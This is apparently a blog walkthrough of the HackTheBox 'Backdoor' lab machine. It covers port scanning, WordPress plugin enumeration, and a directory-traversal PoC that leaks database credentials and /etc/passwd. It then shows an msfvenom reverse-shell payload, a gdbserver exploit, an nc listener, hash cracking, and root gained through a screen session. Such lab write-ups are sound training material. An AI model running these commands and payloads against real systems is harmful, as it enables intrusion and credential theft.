As this machine is still active, the following content is protected Javascript needs to be enabled to decrypt content Recon to Foothold A masscan first to grab all the open ports rob:Backdoor/ $ sudo masscan -p1-65535,U:1-65535 10.10.11.125 --rate=1000 -e tun0 [sudo] password for rob: Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-12-20 21:41:26 GMT Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 22/tcp on 10.10.11.125 Discovered open port 1337/tcp on 10.10.11.125 Discovered open port 80/tcp on 10.10.11.125 And now an nmap to fingerprint the found ports rob:Backdoor/ $ nmap -A -T4 -v -p22,80,1337 10.10.11.125 Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-20 21:45 GMT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 21:45 Completed NSE at 21:45, 0.00s elapsed Initiating NSE at 21:45 Completed NSE at 21:45, 0.00s elapsed Initiating NSE at 21:45 Completed NSE at 21:45, 0.00s elapsed Initiating Ping Scan at 21:45 Scanning 10.10.11.125 [2 ports] Completed Ping Scan at 21:45, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:45 Completed Parallel DNS resolution of 1 host. at 21:45, 0.01s elapsed Initiating Connect Scan at 21:45 Scanning 10.10.11.125 [3 ports] Discovered open port 22/tcp on 10.10.11.125 Discovered open port 80/tcp on 10.10.11.125 Completed Connect Scan at 21:45, 0.02s elapsed (3 total ports) Initiating Service scan at 21:45 Scanning 2 services on 10.10.11.125 Completed Service scan at 21:45, 6.91s elapsed (2 services on 1 host) NSE: Script scanning 10.10.11.125. Initiating NSE at 21:45 Completed NSE at 21:45, 1.49s elapsed Initiating NSE at 21:45 Completed NSE at 21:45, 0.13s elapsed Initiating NSE at 21:45 Completed NSE at 21:45, 0.00s elapsed Nmap scan report for 10.10.11.125 Host is up (0.021s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b4🇩🇪43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA) | 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA) |_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-generator: WordPress 5.8.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Backdoor – Real-Life |_http-server-header: Apache/2.4.41 (Ubuntu) 1337/tcp closed waste Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 21:45 Completed NSE at 21:45, 0.00s elapsed Initiating NSE at 21:45 Completed NSE at 21:45, 0.00s elapsed Initiating NSE at 21:45 Completed NSE at 21:45, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.25 seconds We have an SSH port on the default port 22, a web server on its default port of 80 and then an odd one, a port on 1337 that nmap reports as ‘closed waste’ On port 80 we find a wordpress site The home link of this page gives us a hostname, backdoor.htb, so we’ll add that to our /etc/hosts file and use it from here on Let’s first try a little directory busting against this site rob:Backdoor/ $ gobuster dir --url http://backdoor.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,php,zip =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://backdoor.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php,zip [+] Timeout: 10s =============================================================== 2021/12/20 21:55:53 Starting gobuster in directory enumeration mode =============================================================== /wp-content (Status: 301) [Size: 317] [-- http://backdoor.htb/wp-content/] /wp-admin (Status: 301) [Size: 315] [-- http://backdoor.htb/wp-admin/] /wp-includes (Status: 301) [Size: 318] [-- http://backdoor.htb/wp-includes/] /xmlrpc.php (Status: 405) [Size: 42] /index.php (Status: 301) [Size: 0] [-- http://backdoor.htb/] /wp-trackback.php (Status: 200) [Size: 135] /wp-login.php (Status: 200) [Size: 5674] /license.txt (Status: 200) [Size: 19915] /server-status (Status: 403) [Size: 277] /wp-config.php (Status: 200) [Size: 0] /wp-signup.php (Status: 302) [Size: 0] [-- http://backdoor.htb/wp-login.php?action=register] /index.php (Status: 301) [Size: 0] [-- http://backdoor.htb/] =============================================================== 2021/12/20 22:04:45 Finished =============================================================== Nothing here that we wouldn’t normal expect for a wordpress site. We can see a possible signup page, http://backdoor.htb/wp-login.php?action=register but checking it gives us a Error: User registration is currently not allowed message For a wordpress site we have to always at least try [[wpscan]] rob:Backdoor/ $ wpscan --url http://backdoor.htb -e u,vp --plugins-detection aggressive --api-token 4RcSXPGv5dbbmjazVGZ5QRrb4ASOi0LR1AA7psxSul4 _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.20 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://backdoor.htb/ [10.10.11.125] [+] Started: Mon Dec 20 22:00:19 2021 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.41 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://backdoor.htb/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://backdoor.htb/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://backdoor.htb/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://backdoor.htb/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09). | Found By: Rss Generator (Passive Detection) | - http://backdoor.htb/index.php/feed/, https://wordpress.org/?v=5.8.1 | - http://backdoor.htb/index.php/comments/feed/, https://wordpress.org/?v=5.8.1 | | [!] 1 vulnerability identified: | | [!] Title: WordPress (3320 / 3320) 100.00% Time: 00:00:15 [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] akismet | Location: http://backdoor.htb/wp-content/plugins/akismet/ | Latest Version: 4.2.1 | Last Updated: 2021-10-01T18:28:00.000Z | | Found By: Known Locations (Aggressive Detection) | - http://backdoor.htb/wp-content/plugins/akismet/, status: 403 | | [!] 1 vulnerability identified: | | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS) | Fixed in: 3.1.5 | References: | - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357 | - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/ | - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html | | The version could not be determined. [+] ebook-download | Location: http://backdoor.htb/wp-content/plugins/ebook-download/ | Last Updated: 2020-03-12T12:52:00.000Z | Readme: http://backdoor.htb/wp-content/plugins/ebook-download/readme.txt | [!] The version is out of date, the latest version is 1.5 | [!] Directory listing is enabled | | Found By: Known Locations (Aggressive Detection) | - http://backdoor.htb/wp-content/plugins/ebook-download/, status: 200 | | [!] 1 vulnerability identified: | | [!] Title: Ebook Download (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] admin | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://backdoor.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 4 | Requests Remaining: 21 [+] Finished: Mon Dec 20 22:00:39 2021 [+] Requests Done: 3387 [+] Cached Requests: 10 [+] Data Sent: 919.56 KB [+] Data Received: 1.016 MB [+] Memory used: 264.945 MB [+] Elapsed time: 00:00:20 So there are a few interesting things found here We find a username, admin We uncover a vulnerable plugin, Ebook Download The scan finds an enumeratable directory: Upload directory has listing enabled: http://backdoor.htb/wp-content/uploads/ The details on the vulnerable plugin are pretty thin The Zedna eBook download WordPress plugin was affected by a Directory Traversal security vulnerability But it sounds like a good attack vector so we head to google, and after a little searching we find an exploit on exploit-db When we try the PoC we get a result! This file gives us the mysql credentials // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wordpressuser' ); /** MySQL database password */ define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' ); We try this password on the admin login (at /wp-admin), just in case of password re-use, but we get an authentication failure. Still, if and when we get a shell, this might be useful We can extract the /etc/passwd file through this vulnerability root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin --snip-- systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin user❌1000:1000:user:/home/user:/bin/bash lxd❌998💯:/var/snap/lxd/common/lxd:/bin/false mysql❌113:118:MySQL Server,,,:/nonexistent:/bin/false Only one shell account other than root, for a user user However, after a lot of thinking, there doesn’t seem to be a direct way of pivoting this to a foothold. Let’s keep on looking If we google our mystery port we get a few things that use 1337, including a reference to the box name I assume 1337 means “elite” in hacker/cracker spelling (1=L, 3=E, 7=T, “LEET”=“ELITE”). Because of the reference, it may be used by some backdoors We find this, an apache2 module that gives stealth backdoors. Probably not relevant here, but is pretty cool and worth knowing about 😄 Turning to the ever-useful exploit-db a google search using the site:exploit-db.com qualifier and then filtering for newer exploits finds us this, an exploit on gdbserver, which uses port 1337 as its default connction port! Looks good, let’s give it a try. First we’ll use msfvenom to make some shellcode rob:Backdoor/ $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=1234 PrependFork=true -o rev.bin [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 106 bytes Saved as: rev.bin Then we start a listener and send the exploit rob:Backdoor/ $ python3 exploit.py 10.10.11.125:1337 $PWD/rev.bin [+] Connected to target. Preparing exploit [!] ERROR: Unexpected response. Try again later Gahhh, really thought this was the one! But ahhhh, trying it several times in frustration… and it worked! rob:Backdoor/ $ python3 exploit.py 10.10.11.125:1337 $PWD/rev.bin [+] Connected to target. Preparing exploit [+] Found x64 arch [+] Sending payload [*] Pwned!! Check your listener And sure enough, over at our listener we’ve popped a shell rob:Backdoor/ $ nc -lnvp 1234 listening on [any] 1234 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.125] 45610 id uid=1000(user) gid=1000(user) groups=1000(user) We can grab the user flag straight away cat user.txt `REDACTED` And now let’s stablize our shell and do some enumeration User … user We found mysql creds earlier, using them now let’s extract any passwords mysql select user_login, user_pass from wp_users; +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | admin | $P$Bt8c3ivanSGd2TFcm3HV/9ezXPueg5. | +------------+------------------------------------+ 1 row in set (0.01 sec) Ok, we can try hashcat on this, after nth gives us the right format code rob:Backdoor/ $ nth -f wp-admin.hash _ _ _____ _ _ _ _ _ | \ | | |_ _| | | | | | | | | | | \| | __ _ _ __ ___ ___ ______| | | |__ __ _| |_ ______| |_| | __ _ ___| |__ | . ` |/ _` | '_ ` _ \ / _ \______| | | '_ \ / _` | __|______| _ |/ _` / __| '_ \ | |\ | (_| | | | | | | __/ | | | | | | (_| | |_ | | | | (_| \__ \ | | | \_| \_/\__,_|_| |_| |_|\___| \_/ |_| |_|\__,_|\__| \_| |_/\__,_|___/_| |_| https://twitter.com/bee_sec_san https://github.com/HashPals/Name-That-Hash $P$Bt8c3ivanSGd2TFcm3HV/9ezXPueg5. Most Likely Wordpress ≥ v2.6.2, HC: 400 JtR: phpass Joomla ≥ v2.5.18, HC: 400 JtR: phpass PHPass' Portable Hash, HC: 400 JtR: phpass So over to hashcat PS E:\CommonWorkspace\tools\windows\hashcat-5.1.0 ./hashcat64.exe -m 400 .\wp-admin.hash .\rockyou.txt hashcat (v5.1.0) starting... OpenCL Platform #1: Advanced Micro Devices, Inc. ================================================ * Device #1: Ellesmere, 6745/8192 MB allocatable, 36MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 --snip-- Session..........: hashcat Status...........: Exhausted Hash.Type........: phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5) Hash.Target......: $P$Bt8c3ivanSGd2TFcm3HV/9ezXPueg5. Time.Started.....: Tue Dec 21 01:27:15 2021 (20 secs) Time.Estimated...: Tue Dec 21 01:27:35 2021 (0 secs) Guess.Base.......: File (.\rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 750.0 kH/s (7.37ms) @ Accel:256 Loops:128 Thr:64 Vec:1 Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.........: 14344387/14344387 (100.00%) Rejected.........: 0/14344387 (0.00%) Restore.Point....: 14344387/14344387 (100.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8064-8192 Candidates.#1....: 0213Dom - clarus Hardware.Mon.#1..: Util: 4% Core:1335MHz Mem:2000MHz Bus:16 Started: Tue Dec 21 01:27:07 2021 Stopped: Tue Dec 21 01:27:36 2021 But we have no success in cracking this unfortunately By pulling pspy64 to the box we can see the proceses on the system as they launch, allowing us to catch ephemeral processes (too short-lived for us to catch them on a ps command) user@Backdoor:/tmp$ ./pspy64 pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2021/12/21 03:21:34 CMD: UID=0 PID=99 | 2021/12/21 03:21:34 CMD: UID=0 PID=98 | 2021/12/21 03:21:34 CMD: UID=0 PID=97 | 2021/12/21 03:21:34 CMD: UID=0 PID=96 | 2021/12/21 03:21:34 CMD: UID=113 PID=952 | /usr/sbin/mysqld 2021/12/21 03:21:34 CMD: UID=0 PID=95 | 2021/12/21 03:21:34 CMD: UID=0 PID=94 | 2021/12/21 03:21:34 CMD: UID=0 PID=93 | 2021/12/21 03:21:34 CMD: UID=1000 PID=929 | (sd-pam) 2021/12/21 03:21:34 CMD: UID=0 PID=926 | /usr/lib/policykit-1/polkitd --no-debug 2021/12/21 03:21:34 CMD: UID=1000 PID=924 | /lib/systemd/systemd --user 2021/12/21 03:21:34 CMD: UID=0 PID=923 | /sbin/agetty -o -p -- \u --noclear tty1 linux 2021/12/21 03:21:34 CMD: UID=0 PID=91 | 2021/12/21 03:21:34 CMD: UID=0 PID=90 | 2021/12/21 03:21:34 CMD: UID=0 PID=9 | 2021/12/21 03:21:34 CMD: UID=0 PID=887 | /usr/sbin/apache2 -k start 2021/12/21 03:21:34 CMD: UID=0 PID=87 | 2021/12/21 03:21:34 CMD: UID=0 PID=865 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 2021/12/21 03:21:34 CMD: UID=0 PID=860 | /usr/sbin/atd -f 2021/12/21 03:21:34 CMD: UID=0 PID=86 | 2021/12/21 03:21:34 CMD: UID=0 PID=852 | /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done 2021/12/21 03:21:34 CMD: UID=0 PID=850 | /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done 2021/12/21 03:21:34 CMD: UID=0 PID=85 | 2021/12/21 03:21:34 CMD: UID=0 PID=84 | --snip-- 2021/12/21 03:21:36 CMD: UID=0 PID=73308 | find /var/run/screen/S-root/ -empty -exec screen -dmS root ; 2021/12/21 03:21:36 CMD: UID=0 PID=73309 | sleep 1 2021/12/21 03:21:37 CMD: UID=0 PID=73311 | sleep 1 2021/12/21 03:21:38 CMD: UID=0 PID=73313 | sleep 1 2021/12/21 03:21:39 CMD: UID=0 PID=73314 | find /var/run/screen/S-root/ -empty -exec screen -dmS root ; --snip-- So a couple of things look interesting here we can see the process running gdbserver on port 1337 we could have exploited /proc from outside the box to find this process, would have made finding the exploit a LOT easier! we find an interesting process obviously launched by a cronjob 2021/12/21 03:21:34 CMD: UID=0 PID=850 | /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done this is checking to see if there’s a screen session running, and if there isn’t (-empty) then it launches one if we could access that screen session then we’d presumably be root as the process is spawned by UID=0 We can look for screen sessions user@Backdoor:/tmp$ screen -ls No Sockets found in /run/screen/S-user. Hmmm, it’s only showing us the sessions for user, from the cronjob command we can see that root’s session info is stored in /run/screen/S-root Digging into the screen man-page we can see an interesting option for the command It seems that we can specify a session owner, which for us would be root, and then a session identifier of some kind, formatted as [pid,]tty[.host]. Checking out the parameters used to create the session, -dmS, we find this So we should be able to use root for our tty argument then. Let’s try it user@Backdoor:/tmp$ screen -r root/root root@Backdoor:~# id uid=0(root) gid=0(root) groups=0(root) And it works!! Not sure why a regular user can attach to root’s sessions, perhaps it’s a configuration detail Let’s grab the root flag then root@Backdoor:~# cat root.txt `REDACTED` div#hugo-encrypt-sha1sum {display: none;} const storageKey = location.pathname + "password"; const userStorage = window['sessionStorage'] ; function str2buf(str) { return new TextEncoder("utf-8").encode(str); } function buf2str(buffer) { return new TextDecoder("utf-8").decode(buffer); } function hex2buf(hexStr) { return new Uint8Array(hexStr.match(/.{2}/g).map(h = parseInt(h, 16))); } function deriveKey(passphrase, salt) { salt = salt || crypto.getRandomValues(new Uint8Array(8)); return crypto.subtle .importKey("raw", str2buf(passphrase), "PBKDF2", false, ["deriveKey"]) .then(key = crypto.subtle.deriveKey( { name: "PBKDF2", salt, iterations: 1000, hash: "SHA-256" }, key, { name: "AES-GCM", length: 256 }, false, ["encrypt", "decrypt"], ), ) .then(key = [key, salt]); } function decrypt(passphrase, saltIvCipherHex) { const [salt, iv, data] = saltIvCipherHex.split("-").map(hex2buf); return deriveKey(passphrase, salt) .then(([key]) = crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data)) .then(v = buf2str(new Uint8Array(v))); } async function digestMessage(message) { const msgUint8 = new TextEncoder().encode(message); const hashBuffer = await crypto.subtle.digest('SHA-1', msgUint8); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray.map(b = b.toString(16).padStart(2, '0')).join(''); return hashHex; } const hugoDecrypt = function(password, type) { for (const cipher of ciphers) { decrypt(password, cipher.innerText).then(function(decrypted_text) { digestMessage(decrypted_text.replace(/\r?\n?[^\r\n]*$/, "")).then(function(sha1_sum) { if ( decrypted_text.includes(sha1_sum) ) { document.getElementById("hugo-encrypt-encryption-notice").remove(); cipher.outerHTML = decrypted_text; userStorage.setItem(storageKey, password); document.getElementById("hugo-encrypt-sha1sum").innerHTML = "Success: " + sha1_sum; console.log("Decryption successful. Storing password in sessionStorage."); } }); }).catch(function(error) { if (type === "input") { document.getElementById("hugo-encrypt-input-response").innerHTML = "Password is incorrect"; console.log('Password is incorrect', error); } else if (type === "storage") { userStorage.removeItem(location.pathname + "password"); console.log("Password changed. Clearing userStorage.", error); } }); } }; window.onload = () = { ciphers = Array.from(document.querySelectorAll("cipher-text")); if (userStorage.getItem(storageKey)) { console.log("Found storageKey in userStorage. Attemtping decryption"); hugoDecrypt(userStorage.getItem(storageKey), "storage"); } };
